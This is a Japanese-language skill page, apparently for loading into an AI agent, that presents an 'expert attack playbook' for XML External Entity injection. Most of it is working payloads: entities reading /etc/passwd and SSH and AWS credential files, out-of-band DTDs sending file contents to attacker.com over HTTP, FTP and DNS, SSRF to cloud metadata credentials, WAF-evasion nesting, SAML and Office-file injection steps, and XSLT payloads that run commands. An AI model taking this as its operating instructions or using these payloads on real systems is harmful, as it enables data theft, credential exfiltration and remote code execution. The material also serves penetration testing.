xxe-xml-external-entity
XXEに関するプレイブック。XML、SVG、OOXML、SOAP、またはパーサー駆動のインポートが外部エンティティ・ファイル・内部ネットワークリソースを解決する可能性がある場合に使用します。
description の原文を見る
>- XXE playbook. Use when XML, SVG, OOXML, SOAP, or parser-driven imports may resolve external entities, files, or internal network resources.
SKILL.md 本文
SKILL: XML External Entity Injection (XXE) — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: エキスパート XXE テクニック。すべてのインジェクションコンテキスト(SOAP、REST JSON→XML パーサー、Office ファイル、SVG)、OOB 流出(直接読み取りが失敗した場合に重要)、ブラインド XXE 検出、XXE-to-SSRF チェーンをカバーします。ベースモデルは OOB と非 XML コンテキスト XXE を見落とすことが多いです。実世界の CVE チェーンについては、Office docx XXE ステップバイステップ、PHP expect:// RCE、Solr XXE+RCE のとき、コンパニオン
SCENARIOS.mdを読み込みます。
0. 関連ルーティング
また読み込み:
upload insecure files- XXE が SVG、OOXML、インポート、またはプレビューパイプラインを通じて到達可能な場合
拡張シナリオ
以下が必要な場合は SCENARIOS.md も読み込みます:
- Apache Solr XXE + RCE チェーン(CVE-2017-12629)— XXE で設定を読み取り、VelocityResponseWriter で RCE
- Office docx XXE ステップバイステップ — unzip →
word/document.xmlまたは[Content_Types].xmlに DOCTYPE を注入 → 再パッケージ化 → アップロード - DOCTYPE ベースのブラインド SSRF —
PUBLIC外部 DTD 参照がエンティティ反映なしで HTTP コールバックをトリガー - PHP
expect://プロトコル XXE 経由 — expect 拡張がインストールされている場合のダイレクトコマンド実行 - エラーメッセージ経由のブラインド XXE — ファイルパスエラーを強制してコンテンツを例外テキストに漏らす
- SOAP ウェブサービスの XXE — SOAP Envelope/Body エレメントにエンティティを注入
1. 古典的な XXE ペイロード
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
/etc/passwd がレスポンスに反映される場合 → ファイル読み取り確認。
2. 攻撃面の発見
ダイレクト XML 入力
- SOAP エンドポイント(
text/xml、application/soap+xml) application/xmlを受け入れる REST API- ファイルアップロード:
.xlsx、.docx、.pptx(Office Open XML) - SVG アップロード(SVG は XML)
- RSS/Atom フィードパーサー
- XML 設定インポート機能を持つウェブサービス
非明白な XML 処理
任意の JSON POST の Content-Type ヘッダーを以下に変更:
Content-Type: application/xml
その後、ボディを XML として書き換え — 多くのバックエンドはデュアルフォーマットパーサーまたは自動検出を使用します。
PDF ジェネレーター
一部の HTML→PDF ツール(wkhtmltopdf、PrinceXML)は埋め込み URL を通じて SSRF を実行しますが、HTML に含まれる SVG/XML の外部エンティティも解析します。
3. OOB(Out-of-Band)XXE — 重大
ダイレクトエンティティ反映が失敗する場合に使用(サーバーは解析しますがエンティティコンテンツを返しません):
ステップ 1: ブラインド検出
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP_COLLABORATOR/">]>
<root>&xxe;</root>
collaborator への DNS/HTTP ヒット → XXE 確認(ファイルコンテンツが返されない場合でも)。
ステップ 2: 攻撃者ホスト DTD 経由の OOB ファイル流出
攻撃者のサーバーが悪質な DTD をホスト - http://attacker.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;
ターゲットに送信されるペイロード:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&exfiltrate;</root>
ファイルコンテンツが攻撃者の HTTP サーバーリクエストログに表示されます。
ステップ 3: エラーベース OOB(HTTP がブロックされた場合の代替方法)
意図的なエラーを使用してエラーメッセージのデータを漏らす:
<!-- attacker.com/error.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///NONEXISTENT/%file;'>">
%eval;
%error;
4. XXE ファイル読み取りターゲット
Linux:
/etc/passwd
/etc/shadow (root 権限が必要)
/etc/hosts
/proc/self/environ ← 環境変数(DB 認証情報、API キー)
/proc/self/cmdline ← プロセスコマンドライン
/var/log/apache2/access.log ← URL 内のパスワードが含まれることあり
/home/USER/.ssh/id_rsa ← SSH 秘密鍵
/home/USER/.aws/credentials ← AWS キー
/home/USER/.bash_history
Windows:
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config ← ASP.NET 接続文字列
C:\xampp\htdocs\wp-config.php ← WordPress DB 認証情報
C:\Users\Administrator\.ssh\id_rsa
5. SVG XXE(ファイルアップロードコンテキスト)
SVG アップロードが受け入れられサービス提供/処理される場合:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="100">
<text font-size="16">&xxe;</text>
</svg>
.svg としてアップロード → GET /uploads/file.svg → レスポンス内にファイルコンテンツ。
6. Office ファイル XXE(docx/xlsx/pptx)
Office ファイルは XML を含む ZIP アーカイブです。[Content_Types].xml または word/document.xml に注入:
# ステップ 1: 抽出
unzip original.docx -d extracted/
# ステップ 2: word/document.xml を編集 — 悪質な DOCTYPE を追加
# <?xml version="1.0" encoding="UTF-8" standalone="yes"?> の後に追加:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# その後、ドキュメントテキスト内で &xxe; を使用
# ステップ 3: 再パッケージ化
cd extracted && zip -r ../malicious.docx .
7. SOAP エンドポイント XXE
SOAP リクエストは定義上 XML を解析します。SOAP エンベロープに外部エンティティを注入:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getUser>
<id>&xxe;</id>
</getUser>
</soap:Body>
</soap:Envelope>
8. XXE → SSRF チェーン
XXE 外部エンティティは内部 HTTP エンドポイントを指すことができます(SSRF と同一):
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>
これは XXE ファイル読み取り + SSRF を 1 つのペイロードに統合します。
9. XInclude 攻撃
サーバー側が XInclude(別のソースから XML をインポート)を処理しますが、DOCTYPE を制御できない場合:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</foo>
動作環境:Apache Cocoon、Xerces-J、XInclude サポート有効の libxml2。
10. XXE のプロトコルハンドラー
<!-- HTTP(SSRF) -->
<!ENTITY xxe SYSTEM "http://internal.company.com/admin/">
<!-- ファイル読み取り -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!-- PHP ラッパー(PHP と libxml2 の場合) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!-- レスポンス内の base64 をデコードしてファイルコンテンツを取得 -->
<!-- FTP(流出 / ポートスキャン) -->
<!ENTITY xxe SYSTEM "ftp://attacker.com:21/x">
<!-- Gopher(Redis、SMTP) -->
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/info%0d%0a">
11. 防御の回避
パーサーが DOCTYPE をブロック
XInclude を試してください(DOCTYPE は不要、§9 参照)。
特定の XML スキーマのみ許可
スキーマ検証が発生する場合:スキーマ検証後、エンティティ処理前にコメントまたは CDATA を注入。
レスポンスのエンコーディング問題(バイナリレスポンス)
base64 用に PHP フィルターを使用:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
ネットワーク制限による OOB
DNS のみ OOB を使用 - SYSTEM "file://HASH.attacker.com" — HTTP は不要、DNS 参照でデータを漏らす。
12. クイック検出チェックリスト
□ XML 入力ポイントを見つけ(または JSON→XML 変換)
□ 基本エンティティを送信:<!ENTITY xxe "test"> → ボディで &xxe; → "test" は反映される?
□ はい → ファイル読み取り:SYSTEM "file:///etc/passwd"
□ いいえ → Collaborator URL 経由の OOB テスト
□ OOB ヒット → 攻撃者 DTD をセットアップしてファイル流出
□ SVG アップロードで XXE を試す
□ JSON エンドポイントで Content-Type: application/xml を試す
□ DOCTYPE ベースが失敗した場合 XInclude を試す
13. ローカル DTD インジェクション(ブラインド XXE 増幅)
外部エンティティはブロックされるが、サーバーにローカル DTD ファイルが存在する場合:
テクニック
<!-- ローカル DTD ファイルで定義されたエンティティをオーバーライド -->
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
一般的なローカル DTD パス
Linux
/usr/share/yelp/dtd/docbookx.dtd # GNOME Help
/usr/share/xml/fontconfig/fonts.dtd # Fontconfig
/usr/share/sgml/docbook/xml-dtd-*/docbookx.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
/usr/share/struts/struts-config_1_0.dtd # Apache Struts
/usr/share/nmap/nmap.dtd # Nmap
/opt/zaproxy/xml/alert.dtd # OWASP ZAP
Windows
C:\Windows\System32\wbem\xml\cim20.dtd # WMI
C:\Windows\System32\wbem\xml\wmi20.dtd # WMI
C:\Program Files\IBM\WebSphere\*.dtd # WebSphere
C:\Program Files (x86)\Lotus\*.dtd # Lotus Notes
JAR ファイル内(Java アプリケーション)
jar:file:///usr/share/java/tomcat-*.jar!/javax/servlet/resources/web-app_2_3.dtd
jar:file:///opt/wildfly/modules/*.jar!/org/jboss/as/*.dtd
file:///usr/share/java/struts2-core-*.jar!/struts-2.5.dtd
これが機能する理由
- 外部接続はブロック(ファイアウォール/WAF/出口フィルター)
- しかし、ローカルファイルへの file:// は通常許可
- ローカル DTD は信頼 → エンティティオーバーライドが攻撃者制御の定義を注入
- エラーメッセージまたはブラインド流出は file:// を通じて機能
14. 追加の OOB 流出チャネル
FTP ベースの流出(行単位)
FTP プロトコルは行単位でデータを送信するため、HTTP ベース OOB が改行で切り詰められる場合、複数行ファイル流出に有用:
<!-- attacker.com/ftp-exfil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'ftp://attacker.com:2121/%file;'>">
%exfil;
%send;
ローグ FTP サーバー(例えば xxeserv またはカスタム Python)をポート 2121 で実行 — ファイルの各行が個別の RETR または CWD コマンドとして到着。
HTTP パラメーター流出
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?d=%file;'>">
%exfil;
%send;
Base64 エンコーディングにより、HTTP URL での改行/特殊文字の問題を回避。攻撃者サーバーで d= パラメーターをデコード。
15. DTD ネストトリック — パラメーターエンティティチェーン
パラメーターエンティティ内のパラメーターエンティティ
エンティティ値の直接エンティティ参照をブロックするパーサーを回避するために使用:
<!DOCTYPE foo [
<!ENTITY % a "% b;">
<!ENTITY % b SYSTEM "http://attacker.com/chain.dtd">
%a;
]>
パーサーは %a; → %b; → 外部 DTD を取得 に展開。一部の WAF はエンティティ定義の最初のレベルのみを検査。
フィルター回避用の 3 重ネスト
<!-- attacker.com/stage1.dtd -->
<!ENTITY % s2 SYSTEM "http://attacker.com/stage2.dtd">
%s2;
<!-- attacker.com/stage2.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % s3 "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%s3;
%exfil;
ターゲットに送信されるペイロードは stage1.dtd のみ参照 — 実際のファイル読み取りは 2 つの DTD フェッチ深くで発生し、浅い WAF 検査を回避。
16. 非明白なフォーマットの XXE
| フォーマット | XML の場所 | 注入ポイント |
|---|---|---|
| SOAP Envelope | ボディ全体が XML | <soap:Envelope> 前に DOCTYPE を追加 |
| SVG 画像 | SVG は XML | SVG ヘッダーに <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> |
| OOXML (.docx) | word/document.xml、[Content_Types].xml | 任意の XML メンバーに DOCTYPE + エンティティを注入 |
| OOXML (.xlsx) | xl/sharedStrings.xml、xl/worksheets/sheet1.xml | セル値のエンティティ参照 |
| RSS/Atom フィード | フィードボディは XML | ユーザーコンテンツが含まれている場合、フィードアイテムに注入 |
| SAML アサーション | SAML XML トークン | SAMLResponse パラメーター(base64 デコード XML)に DOCTYPE 注入 |
| XMPP | プロトコルメッセージは XML スタンザ | メッセージボディまたは JID フィールドのエンティティ |
| GPX ファイル | GPS トラックデータ(XML) | GPX を受け入れるファイルアップロードエンドポイント経由 |
| XHTML | 厳密な XHTML は有効な XML | XHTML ドキュメントに DOCTYPE 注入 |
SAML XXE
<!-- SAMLResponse をデコード、DOCTYPE を注入 -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<saml:Assertion>
<saml:Subject>
<saml:NameID>&xxe;</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
base64 に再エンコード、SAMLResponse パラメーターとして送信。
17. ファイルアップロード経由の XXE
SVG アップロード
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
<text x="10" y="50" font-size="14">&xxe;</text>
</svg>
アバター/画像としてアップロード → アップロード SVG を表示 → ファイルコンテンツがテキストとしてレンダリング。
XLSX(Excel)アップロード
# 1. 最小限の .xlsx を作成、unzip
unzip report.xlsx -d xlsx_tmp/
# 2. xl/sharedStrings.xml に注入
# XML 宣言の後に追加:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# <t> エレメントコンテンツを &xxe; で置換
# 3. 再パッケージ化
cd xlsx_tmp && zip -r ../malicious.xlsx .
別の方法として [Content_Types].xml に注入(ほとんどの OOXML プロセッサーが最初に解析)。
DOCX アップロード
# ターゲット:word/document.xml
# 同じアプローチ:unzip → DOCTYPE + エンティティ注入 → 再パッケージ化
# 別の方法:customXml/item1.xml に注入(カスタム XML パーツが存在する場合)
処理パイプライン攻撃
アップロードされたファイルが直接レンダリングされない場合でも、サーバー側パーサー(Apache POI、python-docx、OpenXML SDK)はインポート中にエンティティを処理し、OOB 流出をトリガーしてもよい。
18. エラーベース XXE
XML パーサーにエラーメッセージを生成させ、ファイルコンテンツを含める:
方法 1: 存在しないファイル参照
<!-- attacker.com/error.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
パーサーが file:///nonexistent/<hostname_content> を開こうとする → エラーメッセージにホスト名値が含まれる。
方法 2: XML スキーマ検証エラー
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % err SYSTEM 'jar:file:///nonexistent!/%file;'>">
%eval;
%err;
]>
jar: プロトコルハンドラーは展開されたエンティティ値を含む詳細なエラーメッセージを生成。
方法 3: 整数オーバーフロー / タイプエラー
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'file:///%file;'>">
%int;
%trick;
パーサーは対象ファイルコンテンツを含むファイルパスを開こうとする → エラーメッセージがコンテンツを明かす。
19. XSLT インジェクション接続と XXE
XSLT プロセッサーは XML を解析し、XXE とチェーンすることができます:
XSLT ファイル読み取り
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
XSLT RCE(プロセッサー依存)
<!-- Xalan-J(Java) -->
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj,'id')"/>
</xsl:template>
</xsl:stylesheet>
<!-- PHP(registerPHPFunctions 有効の libxslt) -->
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('system','id')"/>
</xsl:template>
</xsl:stylesheet>
XXE → XSLT チェーン
ターゲットがスタイルシート参照(<?xml-stylesheet?>)を含む XML 入力を受け入れる場合、外部エンティティと悪質な XSLT の両方を注入して、ファイル読み取りから RCE にエスカレート。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。